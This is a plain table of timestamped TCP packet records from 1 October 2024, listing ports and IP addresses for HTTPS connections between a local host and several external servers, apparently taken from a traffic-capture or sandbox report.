Oct 1, 2024 12:21:02.650054932 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.650475979 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.650485039 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.652267933 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.652348042 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.653265953 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.658436060 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.658451080 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.658771038 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.658883095 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.659348965 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.659373045 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.659498930 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.659513950 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.660480022 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.660557032 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.661802053 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.661892891 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.662283897 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.662293911 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.747836113 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.747878075 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.747899055 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.747908115 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.747919083 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.747950077 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.748172998 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.748213053 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.748223066 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.748672962 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.748716116 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.748723030 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.748770952 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.748800039 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.748812914 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.748820066 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.748873949 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.752582073 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.768407106 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.768444061 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.768462896 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.768472910 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.768506050 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.768511057 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.768517971 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.768562078 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.768565893 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.768978119 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.769011021 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.769015074 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.769049883 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.769085884 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.769090891 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.769282103 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.773063898 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.773108959 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.773114920 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.780852079 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.780890942 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.780913115 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.780926943 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.780965090 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.780967951 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.780977964 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.781018019 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.781027079 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.781429052 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.781456947 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.781476021 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.781483889 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.781533957 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.785419941 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.785463095 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.785512924 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.785521030 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.797630072 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797673941 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797703981 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797723055 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.797738075 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797775030 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.797780037 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797791004 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797835112 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.797841072 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797848940 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.797895908 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.797910929 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.802329063 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.802364111 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.802376032 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.802386999 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.802427053 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.802434921 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.837285995 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.837297916 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.837331057 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.837343931 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.837357998 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.837367058 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.837403059 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.837430954 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.838773012 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.838782072 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.838908911 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.838917017 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.838927984 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.839014053 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.856905937 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.856942892 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.856971979 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.856971979 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.856982946 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.857008934 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.857170105 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.857208014 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.857219934 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.857304096 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.857326984 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.857355118 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.857362032 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.857395887 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.858089924 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858169079 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858196974 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858211040 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.858216047 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858257055 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.858263016 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858880997 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858918905 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858925104 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.858930111 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858979940 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.858995914 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.858999968 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.859030962 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.859035015 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.859797001 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.859826088 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.859833956 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.859838963 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.859884024 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.859890938 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.867423058 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.867449999 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.867470026 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.867480993 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.867492914 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.867522001 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.867789984 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.867835999 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.867917061 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868038893 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868076086 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.868083954 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868616104 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868654013 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868664980 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.868673086 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868709087 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.868748903 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868798018 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868825912 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868832111 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.868839025 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.868880033 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.869509935 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.869556904 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.869601965 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.869607925 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.869658947 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.869688034 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.869698048 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.869704962 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.869760990 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.870428085 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.870640993 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.870665073 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.870685101 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.870692015 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.870727062 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.870733976 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.870786905 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.870825052 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.871664047 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.871681929 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.888032913 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.888065100 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.888112068 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.888125896 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.888144016 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.888217926 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.888742924 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.888761997 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.892127991 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:02.892158985 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:02.892211914 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:02.892605066 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:02.892620087 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:02.906052113 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.906080961 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.906130075 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.906289101 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.906301022 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.925015926 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925024986 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925054073 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925065041 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925081015 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.925096035 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925118923 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.925141096 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.925632954 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925681114 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.925687075 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925698042 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.925745964 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.938329935 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.938347101 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.945452929 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.945482016 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.945517063 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.945523977 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.945563078 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.945568085 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.945600033 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.984431982 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.984441042 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:03.070960999 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.186513901 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:03.219304085 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:03.219316959 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.219851017 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.219863892 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.219903946 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:03.220582008 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.220624924 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:03.220634937 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.230881929 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:03.230968952 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.235758066 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:03.235788107 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:03.287031889 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:03.345555067 CEST	49726	443	192.168.2.6	151.101.66.137
Oct 1, 2024 12:21:03.345606089 CEST	443	49726	151.101.66.137	192.168.2.6
Oct 1, 2024 12:21:03.345767975 CEST	49726	443	192.168.2.6	151.101.66.137
Oct 1, 2024 12:21:03.345959902 CEST	49726	443	192.168.2.6	151.101.66.137
Oct 1, 2024 12:21:03.345977068 CEST	443	49726	151.101.66.137	192.168.2.6
Oct 1, 2024 12:21:03.347013950 CEST	49727	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:03.347068071 CEST	443	49727	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:03.347124100 CEST	49727	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:03.347285986 CEST	49727	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:03.347294092 CEST	443	49727	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:03.354991913 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.355175972 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.355201960 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.356704950 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.356777906 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.357743025 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.357825041 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.357887983 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.357897997 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.397308111 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.474759102 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:03.502856016 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:03.605523109 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.609426975 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.609440088 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.610480070 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.610538006 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.610826015 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.610887051 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.610959053 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.655395031 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.666980028 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.666987896 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.704993010 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705038071 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705068111 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705096006 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705102921 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.705125093 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705133915 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.705137014 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705180883 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.705202103 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705763102 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705790043 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705831051 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.705835104 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705849886 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.705890894 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.709635973 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.709700108 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.748867035 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.748917103 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.748930931 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.748936892 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.748969078 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.748974085 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.749075890 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.749104977 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.749139071 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.749154091 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.749161005 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.749176025 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.749825954 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.750298977 CEST	49725	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:03.750304937 CEST	443	49725	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:03.792572975 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:03.793252945 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793324947 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793450117 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793478966 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793502092 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.793510914 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793520927 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793556929 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.793570042 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793605089 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.793649912 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.793658018 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794387102 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794419050 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794440031 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.794446945 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794482946 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794512033 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794538975 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794542074 CEST	49724	443	192.168.2.6	104.18.11.207
Oct 1, 2024 12:21:03.794548988 CEST	443	49724	104.18.11.207	192.168.2.6
Oct 1, 2024 12:21:03.794576883 CEST	49724	443	192.168.2.6	104.18.11.207
